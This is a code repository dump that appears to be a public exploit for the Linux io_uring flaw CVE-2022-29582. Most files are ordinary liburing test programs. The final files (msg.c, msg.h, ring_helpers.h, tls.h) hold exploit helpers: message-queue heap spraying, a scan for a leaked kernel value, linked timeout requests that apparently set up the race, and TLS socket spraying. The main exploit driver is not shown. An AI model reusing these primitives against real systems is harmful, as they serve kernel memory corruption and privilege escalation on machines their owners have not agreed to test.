85 | ret = io_uring_wait_cqe_timeout(&ring, &cqe, &ts); 86 | if (ret == -ETIME) { 87 | printf("TEST_FAIL: readv req3 stuck\n"); 88 | return 1; 89 | } 90 | assert(!ret); 91 | 92 | assert(cqe->res == 2048); 93 | assert(cqe->user_data == 3); 94 | 95 | io_uring_cqe_seen(&ring, cqe); 96 | io_uring_queue_exit(&ring); 97 | return 0; 98 | } 99 | -------------------------------------------------------------------------------- /liburing/test/self.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: test that pathname resolution works from async context when 4 | * using /proc/self/ which should be the original submitting task, not the 5 | * async worker. 6 | * 7 | */ 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include "liburing.h" 16 | 17 | static int io_openat2(struct io_uring *ring, const char *path, int dfd) 18 | { 19 | struct io_uring_cqe *cqe; 20 | struct io_uring_sqe *sqe; 21 | struct open_how how; 22 | int ret; 23 | 24 | sqe = io_uring_get_sqe(ring); 25 | if (!sqe) { 26 | fprintf(stderr, "get sqe failed\n"); 27 | goto err; 28 | } 29 | memset(&how, 0, sizeof(how)); 30 | how.flags = O_RDONLY; 31 | io_uring_prep_openat2(sqe, dfd, path, &how); 32 | 33 | ret = io_uring_submit(ring); 34 | if (ret <= 0) { 35 | fprintf(stderr, "sqe submit failed: %d\n", ret); 36 | goto err; 37 | } 38 | 39 | ret = io_uring_wait_cqe(ring, &cqe); 40 | if (ret < 0) { 41 | fprintf(stderr, "wait completion %d\n", ret); 42 | goto err; 43 | } 44 | ret = cqe->res; 45 | io_uring_cqe_seen(ring, cqe); 46 | return ret; 47 | err: 48 | return -1; 49 | } 50 | 51 | int main(int argc, char *argv[]) 52 | { 53 | struct io_uring ring; 54 | char buf[64]; 55 | int ret; 56 | 57 | if (argc > 1) 58 | return 0; 59 | 60 | ret = io_uring_queue_init(1, &ring, 0); 61 | if (ret) { 62 | fprintf(stderr, "ring setup failed\n"); 63 | return 1; 64 | } 65 | 66 | ret = io_openat2(&ring, "/proc/self/comm", -1); 67 | if (ret < 0) { 68 | if (ret == -EOPNOTSUPP) 69 | return 0; 70 | if (ret == -EINVAL) { 71 | fprintf(stdout, "openat2 not supported, skipping\n"); 72 | return 0; 73 | } 74 | fprintf(stderr, "openat2 failed: %s\n", strerror(-ret)); 75 | return 1; 76 | } 77 | 78 | memset(buf, 0, sizeof(buf)); 79 | ret = read(ret, buf, sizeof(buf)); 80 | if (ret < 0) { 81 | perror("read"); 82 | return 1; 83 | } 84 | 85 | if (strncmp(buf, "self", 4)) { 86 | fprintf(stderr, "got comm=<%s>, wanted \n", buf); 87 | return 1; 88 | } 89 | 90 | return 0; 91 | } 92 | -------------------------------------------------------------------------------- /liburing/test/shared-wq.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: test wq sharing 4 | */ 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "liburing.h" 13 | 14 | static int test_attach_invalid(int ringfd) 15 | { 16 | struct io_uring_params p; 17 | struct io_uring ring; 18 | int ret; 19 | 20 | memset(&p, 0, sizeof(p)); 21 | p.flags = IORING_SETUP_ATTACH_WQ; 22 | p.wq_fd = ringfd; 23 | ret = io_uring_queue_init_params(1, &ring, &p); 24 | if (ret != -EINVAL) { 25 | fprintf(stderr, "Attach to zero: %d\n", ret); 26 | goto err; 27 | } 28 | return 0; 29 | err: 30 | return 1; 31 | } 32 | 33 | static int test_attach(int ringfd) 34 | { 35 | struct io_uring_params p; 36 | struct io_uring ring2; 37 | int ret; 38 | 39 | memset(&p, 0, sizeof(p)); 40 | p.flags = IORING_SETUP_ATTACH_WQ; 41 | p.wq_fd = ringfd; 42 | ret = io_uring_queue_init_params(1, &ring2, &p); 43 | if (ret == -EINVAL) { 44 | fprintf(stdout, "Sharing not supported, skipping\n"); 45 | return 0; 46 | } else if (ret) { 47 | fprintf(stderr, "Attach to id: %d\n", ret); 48 | goto err; 49 | } 50 | io_uring_queue_exit(&ring2); 51 | return 0; 52 | err: 53 | return 1; 54 | } 55 | 56 | int main(int argc, char *argv[]) 57 | { 58 | struct io_uring ring; 59 | int ret; 60 | 61 | if (argc > 1) 62 | return 0; 63 | 64 | ret = io_uring_queue_init(8, &ring, 0); 65 | if (ret) { 66 | fprintf(stderr, "ring setup failed\n"); 67 | return 1; 68 | } 69 | 70 | /* stdout is definitely not an io_uring descriptor */ 71 | ret = test_attach_invalid(2); 72 | if (ret) { 73 | fprintf(stderr, "test_attach_invalid failed\n"); 74 | return ret; 75 | } 76 | 77 | ret = test_attach(ring.ring_fd); 78 | if (ret) { 79 | fprintf(stderr, "test_attach failed\n"); 80 | return ret; 81 | } 82 | 83 | return 0; 84 | } 85 | -------------------------------------------------------------------------------- /liburing/test/short-read.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | 12 | #include "helpers.h" 13 | #include "liburing.h" 14 | 15 | #define BUF_SIZE 4096 16 | #define FILE_SIZE 1024 17 | 18 | int main(int argc, char *argv[]) 19 | { 20 | int ret, fd, save_errno; 21 | struct io_uring ring; 22 | struct io_uring_sqe *sqe; 23 | struct io_uring_cqe *cqe; 24 | struct iovec vec; 25 | 26 | if (argc > 1) 27 | return 0; 28 | 29 | vec.iov_base = t_malloc(BUF_SIZE); 30 | vec.iov_len = BUF_SIZE; 31 | 32 | t_create_file(".short-read", FILE_SIZE); 33 | 34 | fd = open(".short-read", O_RDONLY); 35 | save_errno = errno; 36 | unlink(".short-read"); 37 | errno = save_errno; 38 | if (fd < 0) { 39 | perror("file open"); 40 | return 1; 41 | } 42 | 43 | ret = io_uring_queue_init(32, &ring, 0); 44 | if (ret) { 45 | fprintf(stderr, "queue init failed: %d\n", ret); 46 | return ret; 47 | } 48 | 49 | sqe = io_uring_get_sqe(&ring); 50 | if (!sqe) { 51 | fprintf(stderr, "sqe get failed\n"); 52 | return 1; 53 | } 54 | io_uring_prep_readv(sqe, fd, &vec, 1, 0); 55 | 56 | ret = io_uring_submit(&ring); 57 | if (ret != 1) { 58 | fprintf(stderr, "submit failed: %d\n", ret); 59 | return 1; 60 | } 61 | 62 | ret = io_uring_wait_cqes(&ring, &cqe, 1, 0, 0); 63 | if (ret) { 64 | fprintf(stderr, "wait_cqe failed: %d\n", ret); 65 | return 1; 66 | } 67 | 68 | if (cqe->res != FILE_SIZE) { 69 | fprintf(stderr, "Read failed: %d\n", cqe->res); 70 | return 1; 71 | } 72 | 73 | io_uring_cqe_seen(&ring, cqe); 74 | return 0; 75 | } 76 | -------------------------------------------------------------------------------- /liburing/test/sigfd-deadlock.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: test that sigfd reading/polling works. A regression test for 4 | * the upstream commit: 5 | * 6 | * fd7d6de22414 ("io_uring: don't recurse on tsk->sighand->siglock with signalfd") 7 | */ 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include "liburing.h" 14 | 15 | static int setup_signal(void) 16 | { 17 | sigset_t mask; 18 | int sfd; 19 | 20 | sigemptyset(&mask); 21 | sigaddset(&mask, SIGINT); 22 | 23 | sigprocmask(SIG_BLOCK, &mask, NULL); 24 | sfd = signalfd(-1, &mask, SFD_NONBLOCK); 25 | if (sfd < 0) 26 | perror("signalfd"); 27 | return sfd; 28 | } 29 | 30 | static int test_uring(int sfd) 31 | { 32 | struct io_uring_sqe *sqe; 33 | struct io_uring_cqe *cqe; 34 | struct io_uring ring; 35 | int ret; 36 | 37 | io_uring_queue_init(32, &ring, 0); 38 | 39 | sqe = io_uring_get_sqe(&ring); 40 | io_uring_prep_poll_add(sqe, sfd, POLLIN); 41 | io_uring_submit(&ring); 42 | 43 | kill(getpid(), SIGINT); 44 | 45 | io_uring_wait_cqe(&ring, &cqe); 46 | if (cqe->res & POLLIN) { 47 | ret = 0; 48 | } else { 49 | fprintf(stderr, "Unexpected poll mask %x\n", cqe->res); 50 | ret = 1; 51 | } 52 | io_uring_cqe_seen(&ring, cqe); 53 | io_uring_queue_exit(&ring); 54 | return ret; 55 | } 56 | 57 | int main(int argc, char *argv[]) 58 | { 59 | int sfd, ret; 60 | 61 | if (argc > 1) 62 | return 0; 63 | 64 | sfd = setup_signal(); 65 | if (sfd < 0) 66 | return 1; 67 | 68 | ret = test_uring(sfd); 69 | if (ret) 70 | fprintf(stderr, "test_uring signalfd failed\n"); 71 | 72 | close(sfd); 73 | return ret; 74 | } 75 | -------------------------------------------------------------------------------- /liburing/test/sq-full-cpp.cc: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: test SQ queue full condition 4 | * 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "liburing.h" 14 | 15 | int main(int argc, char *argv[]) 16 | { 17 | struct io_uring_sqe *sqe; 18 | struct io_uring ring; 19 | int ret, i; 20 | 21 | if (argc > 1) 22 | return 0; 23 | 24 | ret = io_uring_queue_init(8, &ring, 0); 25 | if (ret) { 26 | fprintf(stderr, "ring setup failed: %d\n", ret); 27 | return 1; 28 | 29 | } 30 | 31 | i = 0; 32 | while ((sqe = io_uring_get_sqe(&ring)) != NULL) 33 | i++; 34 | 35 | if (i != 8) { 36 | fprintf(stderr, "Got %d SQEs, wanted 8\n", i); 37 | goto err; 38 | } 39 | 40 | io_uring_queue_exit(&ring); 41 | return 0; 42 | err: 43 | io_uring_queue_exit(&ring); 44 | return 1; 45 | } 46 | -------------------------------------------------------------------------------- /liburing/test/sq-full.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: test SQ queue full condition 4 | * 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "liburing.h" 14 | 15 | int main(int argc, char *argv[]) 16 | { 17 | struct io_uring_sqe *sqe; 18 | struct io_uring ring; 19 | int ret, i; 20 | 21 | if (argc > 1) 22 | return 0; 23 | 24 | ret = io_uring_queue_init(8, &ring, 0); 25 | if (ret) { 26 | fprintf(stderr, "ring setup failed: %d\n", ret); 27 | return 1; 28 | 29 | } 30 | 31 | i = 0; 32 | while ((sqe = io_uring_get_sqe(&ring)) != NULL) 33 | i++; 34 | 35 | if (i != 8) { 36 | fprintf(stderr, "Got %d SQEs, wanted 8\n", i); 37 | goto err; 38 | } 39 | 40 | io_uring_queue_exit(&ring); 41 | return 0; 42 | err: 43 | io_uring_queue_exit(&ring); 44 | return 1; 45 | } 46 | -------------------------------------------------------------------------------- /liburing/test/sqpoll-exit-hang.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Test that we exit properly with SQPOLL and having a request that 4 | * adds a circular reference to the ring itself. 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include "liburing.h" 13 | 14 | static unsigned long long mtime_since(const struct timeval *s, 15 | const struct timeval *e) 16 | { 17 | long long sec, usec; 18 | 19 | sec = e->tv_sec - s->tv_sec; 20 | usec = (e->tv_usec - s->tv_usec); 21 | if (sec > 0 && usec < 0) { 22 | sec--; 23 | usec += 1000000; 24 | } 25 | 26 | sec *= 1000; 27 | usec /= 1000; 28 | return sec + usec; 29 | } 30 | 31 | static unsigned long long mtime_since_now(struct timeval *tv) 32 | { 33 | struct timeval end; 34 | 35 | gettimeofday(&end, NULL); 36 | return mtime_since(tv, &end); 37 | } 38 | 39 | int main(int argc, char *argv[]) 40 | { 41 | struct io_uring_params p = {}; 42 | struct timeval tv; 43 | struct io_uring ring; 44 | struct io_uring_sqe *sqe; 45 | int ret; 46 | 47 | if (argc > 1) 48 | return 0; 49 | 50 | p.flags = IORING_SETUP_SQPOLL; 51 | p.sq_thread_idle = 100; 52 | 53 | ret = io_uring_queue_init_params(1, &ring, &p); 54 | if (ret) { 55 | if (geteuid()) { 56 | printf("%s: skipped, not root\n", argv[0]); 57 | return 0; 58 | } 59 | fprintf(stderr, "queue_init=%d\n", ret); 60 | return 1; 61 | } 62 | 63 | if (!(p.features & IORING_FEAT_SQPOLL_NONFIXED)) { 64 | fprintf(stdout, "Skipping\n"); 65 | return 0; 66 | } 67 | 68 | sqe = io_uring_get_sqe(&ring); 69 | io_uring_prep_poll_add(sqe, ring.ring_fd, POLLIN); 70 | io_uring_submit(&ring); 71 | 72 | gettimeofday(&tv, NULL); 73 | do { 74 | usleep(1000); 75 | } while (mtime_since_now(&tv) < 1000); 76 | 77 | return 0; 78 | } 79 | -------------------------------------------------------------------------------- /liburing/test/sqpoll-sleep.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Test that the sqthread goes to sleep around the specified time, and that 4 | * the NEED_WAKEUP flag is then set. 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "liburing.h" 12 | 13 | static unsigned long long mtime_since(const struct timeval *s, 14 | const struct timeval *e) 15 | { 16 | long long sec, usec; 17 | 18 | sec = e->tv_sec - s->tv_sec; 19 | usec = (e->tv_usec - s->tv_usec); 20 | if (sec > 0 && usec < 0) { 21 | sec--; 22 | usec += 1000000; 23 | } 24 | 25 | sec *= 1000; 26 | usec /= 1000; 27 | return sec + usec; 28 | } 29 | 30 | static unsigned long long mtime_since_now(struct timeval *tv) 31 | { 32 | struct timeval end; 33 | 34 | gettimeofday(&end, NULL); 35 | return mtime_since(tv, &end); 36 | } 37 | 38 | int main(int argc, char *argv[]) 39 | { 40 | struct io_uring_params p = {}; 41 | struct timeval tv; 42 | struct io_uring ring; 43 | int ret; 44 | 45 | if (argc > 1) 46 | return 0; 47 | 48 | p.flags = IORING_SETUP_SQPOLL; 49 | p.sq_thread_idle = 100; 50 | 51 | ret = io_uring_queue_init_params(1, &ring, &p); 52 | if (ret) { 53 | if (geteuid()) { 54 | printf("%s: skipped, not root\n", argv[0]); 55 | return 0; 56 | } 57 | fprintf(stderr, "queue_init=%d\n", ret); 58 | return 1; 59 | } 60 | 61 | gettimeofday(&tv, NULL); 62 | do { 63 | usleep(1000); 64 | if ((*ring.sq.kflags) & IORING_SQ_NEED_WAKEUP) 65 | return 0; 66 | } while (mtime_since_now(&tv) < 1000); 67 | 68 | return 1; 69 | } 70 | -------------------------------------------------------------------------------- /liburing/test/teardowns.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include "liburing.h" 12 | 13 | static void loop(void) 14 | { 15 | int i, ret = 0; 16 | 17 | for (i = 0; i < 100; i++) { 18 | struct io_uring ring; 19 | int fd; 20 | 21 | memset(&ring, 0, sizeof(ring)); 22 | fd = io_uring_queue_init(0xa4, &ring, 0); 23 | if (fd >= 0) { 24 | close(fd); 25 | continue; 26 | } 27 | if (fd != -ENOMEM) 28 | ret++; 29 | } 30 | exit(ret); 31 | } 32 | 33 | int main(int argc, char *argv[]) 34 | { 35 | int i, ret, status; 36 | 37 | if (argc > 1) 38 | return 0; 39 | 40 | for (i = 0; i < 12; i++) { 41 | if (!fork()) { 42 | loop(); 43 | break; 44 | } 45 | } 46 | 47 | ret = 0; 48 | for (i = 0; i < 12; i++) { 49 | if (waitpid(-1, &status, 0) < 0) { 50 | perror("waitpid"); 51 | return 1; 52 | } 53 | if (WEXITSTATUS(status)) 54 | ret++; 55 | } 56 | 57 | return ret; 58 | } 59 | -------------------------------------------------------------------------------- /liburing/test/test.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: Test configs for tests. 4 | */ 5 | #ifndef LIBURING_TEST_H 6 | #define LIBURING_TEST_H 7 | 8 | #ifdef __cplusplus 9 | extern "C" { 10 | #endif 11 | 12 | typedef struct io_uring_test_config { 13 | unsigned int flags; 14 | const char *description; 15 | } io_uring_test_config; 16 | 17 | io_uring_test_config io_uring_test_configs[] = { 18 | { 0, "default" }, 19 | { IORING_SETUP_SQE128, "large SQE"}, 20 | { IORING_SETUP_CQE32, "large CQE"}, 21 | { IORING_SETUP_SQE128 | IORING_SETUP_CQE32, "large SQE/CQE" }, 22 | }; 23 | 24 | #define FOR_ALL_TEST_CONFIGS \ 25 | for (int i = 0; i < sizeof(io_uring_test_configs) / sizeof(io_uring_test_configs[0]); i++) 26 | 27 | #define IORING_GET_TEST_CONFIG_FLAGS() (io_uring_test_configs[i].flags) 28 | #define IORING_GET_TEST_CONFIG_DESCRIPTION() (io_uring_test_configs[i].description) 29 | 30 | 31 | #ifdef __cplusplus 32 | } 33 | #endif 34 | 35 | #endif 36 | -------------------------------------------------------------------------------- /liburing/test/tty-write-dpoll.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Test double poll tty write. A test case for the regression fixed by: 4 | * 5 | * commit 6e295a664efd083ac9a5c1a8130c45be1db0cde7 6 | * Author: Jens Axboe 7 | * Date: Tue Mar 22 13:11:28 2022 -0600 8 | * 9 | * io_uring: fix assuming triggered poll waitqueue is the single poll 10 | * 11 | */ 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include "liburing.h" 19 | #include "helpers.h" 20 | 21 | #define SQES 128 22 | #define BUFSIZE 512 23 | 24 | int main(int argc, char *argv[]) 25 | { 26 | static char buf[BUFSIZE]; 27 | struct iovec vecs[SQES]; 28 | struct io_uring ring; 29 | int ret, i, fd; 30 | 31 | if (argc > 1) 32 | return 0; 33 | 34 | fd = open("/dev/ttyS0", O_RDWR | O_NONBLOCK); 35 | if (fd < 0) 36 | return 0; 37 | 38 | ret = t_create_ring(SQES, &ring, 0); 39 | if (ret == T_SETUP_SKIP) 40 | return 0; 41 | else if (ret < 0) 42 | return 1; 43 | 44 | for (i = 0; i < SQES; i++) { 45 | struct io_uring_sqe *sqe; 46 | 47 | sqe = io_uring_get_sqe(&ring); 48 | vecs[i].iov_base = buf; 49 | vecs[i].iov_len = sizeof(buf); 50 | io_uring_prep_writev(sqe, fd, &vecs[i], 1, 0); 51 | } 52 | 53 | ret = io_uring_submit(&ring); 54 | if (ret != SQES) { 55 | fprintf(stderr, "submit: %d\n", ret); 56 | return 1; 57 | } 58 | 59 | return 0; 60 | } 61 | -------------------------------------------------------------------------------- /liburing/test/unlink.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: run various nop tests 4 | * 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include "liburing.h" 15 | 16 | static int test_unlink(struct io_uring *ring, const char *old) 17 | { 18 | struct io_uring_cqe *cqe; 19 | struct io_uring_sqe *sqe; 20 | int ret; 21 | 22 | sqe = io_uring_get_sqe(ring); 23 | if (!sqe) { 24 | fprintf(stderr, "get sqe failed\n"); 25 | goto err; 26 | } 27 | io_uring_prep_unlink(sqe, old, 0); 28 | 29 | ret = io_uring_submit(ring); 30 | if (ret <= 0) { 31 | fprintf(stderr, "sqe submit failed: %d\n", ret); 32 | goto err; 33 | } 34 | 35 | ret = io_uring_wait_cqe(ring, &cqe); 36 | if (ret < 0) { 37 | fprintf(stderr, "wait completion %d\n", ret); 38 | goto err; 39 | } 40 | ret = cqe->res; 41 | io_uring_cqe_seen(ring, cqe); 42 | return ret; 43 | err: 44 | return 1; 45 | } 46 | 47 | static int stat_file(const char *buf) 48 | { 49 | struct stat sb; 50 | 51 | if (!stat(buf, &sb)) 52 | return 0; 53 | 54 | return errno; 55 | } 56 | 57 | int main(int argc, char *argv[]) 58 | { 59 | struct io_uring ring; 60 | char buf[32] = "./XXXXXX"; 61 | int ret; 62 | 63 | if (argc > 1) 64 | return 0; 65 | 66 | ret = io_uring_queue_init(1, &ring, 0); 67 | if (ret) { 68 | fprintf(stderr, "ring setup failed: %d\n", ret); 69 | return 1; 70 | } 71 | 72 | ret = mkstemp(buf); 73 | if (ret < 0) { 74 | perror("mkstemp"); 75 | return 1; 76 | } 77 | close(ret); 78 | 79 | if (stat_file(buf) != 0) { 80 | perror("stat"); 81 | return 1; 82 | } 83 | 84 | ret = test_unlink(&ring, buf); 85 | if (ret < 0) { 86 | if (ret == -EBADF || ret == -EINVAL) { 87 | fprintf(stdout, "Unlink not supported, skipping\n"); 88 | unlink(buf); 89 | return 0; 90 | } 91 | fprintf(stderr, "rename: %s\n", strerror(-ret)); 92 | goto err; 93 | } else if (ret) 94 | goto err; 95 | 96 | ret = stat_file(buf); 97 | if (ret != ENOENT) { 98 | fprintf(stderr, "stat got %s\n", strerror(ret)); 99 | return 1; 100 | } 101 | 102 | ret = test_unlink(&ring, "/3/2/3/1/z/y"); 103 | if (ret != -ENOENT) { 104 | fprintf(stderr, "invalid unlink got %s\n", strerror(-ret)); 105 | return 1; 106 | } 107 | 108 | return 0; 109 | err: 110 | unlink(buf); 111 | return 1; 112 | } 113 | -------------------------------------------------------------------------------- /msg.c: -------------------------------------------------------------------------------- 1 | #include "msg.h" 2 | 3 | #define MSG_COPY 040000 4 | 5 | err_t pre_spray_msg(int64_t *store, uint32_t amount) 6 | { 7 | int32_t register ret = 0; 8 | 9 | for (uint32_t i = 0; i < amount; i++) { 10 | ret = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); 11 | IF_ERR(ret) { 12 | perror("spray_msg:msgsnd"); 13 | return ERR; 14 | } 15 | store[i] = ret; 16 | } 17 | return SUCC; 18 | } 19 | 20 | err_t spray_msg(uint64_t *store, uint32_t amount, char *data, uint64_t size) 21 | { 22 | int32_t ret = 0; 23 | struct msgb* msg = (struct msgb*)data; 24 | 25 | for (uint32_t i = 0; i < amount; i++) { 26 | msg->mtype = i + 1; 27 | ret = msgsnd(store[i], msg, size, 0); 28 | IF_ERR(ret) { 29 | perror("spray_msg:msgsnd"); 30 | return ERR; 31 | } 32 | } 33 | 34 | return SUCC; 35 | } 36 | 37 | err_t leak_msg(uint64_t needle, uint64_t *store, uint32_t amount, char *data, uint64_t size) 38 | { 39 | uint64_t *leak = malloc(size * sizeof(uint64_t)); 40 | IF_ERR_PTR(leak) { 41 | perror("leak_msg:malloc"); 42 | return ERR; 43 | } 44 | struct msgb* msg = (struct msgb*)leak; 45 | err_t ret_err = ERR; 46 | 47 | for (int i = 0; i < amount; i++) { 48 | IF_ERR(msgrcv(store[i], msg, size, i + 1, 0)) { 49 | perror("leak_msg:msgrcv"); 50 | goto out; 51 | } 52 | for (int j = 0; j < (size / sizeof(uint64_t)); j++) { 53 | if (leak[j] == needle) { 54 | memcpy(data, leak, size); 55 | ret_err = SUCC; 56 | goto out; 57 | } 58 | } 59 | } 60 | out: 61 | free(leak); 62 | return ret_err; 63 | } -------------------------------------------------------------------------------- /msg.h: -------------------------------------------------------------------------------- 1 | #ifdef _GNU_SOURCE 2 | #undef _GNU_SOURCE 3 | #endif 4 | 5 | #ifndef MSG_H 6 | #define MSG_H 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #include "err_state.h" 22 | 23 | #define TOTAL_MSGS (9999) 24 | #define MSG_SIZE (4500) 25 | 26 | struct msgb { 27 | long mtype; 28 | char mtext[1]; 29 | }; 30 | 31 | 32 | err_t pre_spray_msg(int64_t*, uint32_t); 33 | err_t spray_msg(uint64_t*, uint32_t, char*, uint64_t); 34 | err_t leak_msg(uint64_t, uint64_t*, uint32_t, char*, uint64_t); 35 | void free_msg(uint64_t *store, uint32_t amount, uint64_t size); 36 | 37 | #endif // MSG_H -------------------------------------------------------------------------------- /ring_helpers.h: -------------------------------------------------------------------------------- 1 | #ifndef RING_HELPER_H 2 | #define RING_HELPER_H 3 | #include 4 | #include "err_state.h" 5 | 6 | err_t init_timeout_sqe(struct io_uring *ring, struct timespec *ts) 7 | { 8 | struct io_uring_sqe* sqe = io_uring_get_sqe(ring); 9 | IF_ERR_PTR(sqe) { 10 | perror("init_timeout_sqe:io_uring_get_sqe"); 11 | return ERR; 12 | } 13 | sqe->opcode = IORING_OP_TIMEOUT; 14 | sqe->flags = IOSQE_IO_LINK; 15 | sqe->off = 4; 16 | sqe->addr = (uint64_t)ts; 17 | sqe->len = 1; 18 | sqe->user_data = 5; 19 | 20 | return SUCC; 21 | } 22 | 23 | err_t init_link_sqe(struct io_uring *ring, struct timespec *ts) 24 | { 25 | struct io_uring_sqe* sqe = io_uring_get_sqe(ring); 26 | IF_ERR_PTR(sqe) { 27 | perror("init_link_sqe:io_uring_get_sqe"); 28 | return ERR; 29 | } 30 | sqe->opcode = IORING_OP_LINK_TIMEOUT; 31 | sqe->addr = (uint64_t)ts; 32 | sqe->len = 1; 33 | sqe->user_data = 7; 34 | 35 | return SUCC; 36 | } 37 | 38 | err_t force_unblock_wait_cqe(struct io_uring *ring, uint32_t amount) 39 | { 40 | struct io_uring_sqe* sqe = NULL; 41 | for (int i = 0; i < amount; i++) { 42 | sqe = io_uring_get_sqe(ring); 43 | IF_ERR_PTR(sqe) { 44 | perror("force_unblock_wait_cqe:io_uring_get_sqe"); 45 | return ERR; 46 | } 47 | } 48 | IF_ERR(io_uring_submit(ring)) { 49 | perror("force_unblock_wait_cqe:io_uring_submit"); 50 | return ERR; 51 | } 52 | return SUCC; 53 | } 54 | 55 | err_t init_ring(struct io_uring *ring) 56 | { 57 | if (io_uring_queue_init(200, ring, 0) < 0) { 58 | perror("init_rings:io_uring_queue_init"); 59 | return ERR; 60 | } 61 | return SUCC; 62 | } 63 | 64 | #endif // RING_HELPER_H -------------------------------------------------------------------------------- /tls.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #include "err_state.h" 17 | 18 | #define SOL_TLS (282) 19 | 20 | /* TLS socket options */ 21 | #define TCP_ULP (31) 22 | #define N_TLS_FDS (8000) 23 | 24 | err_t new_tls_session(void); 25 | err_t end_tls_session(void); 26 | err_t start_server(void); 27 | err_t tcp_sock_configure(int); 28 | err_t upgrade_tls_socks(void); 29 | err_t destroy_tls_socks(void); 30 | err_t getsockopt_all_tls(int, int, void*, void*); 31 | err_t create_tls_socks(void); 32 | 33 | -------------------------------------------------------------------------------- /vmlinuz-5.10.90: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ruia-ruia/CVE-2022-29582-Exploit/91767eeb61953eb2a34dce18d9415062d7eef522/vmlinuz-5.10.90 --------------------------------------------------------------------------------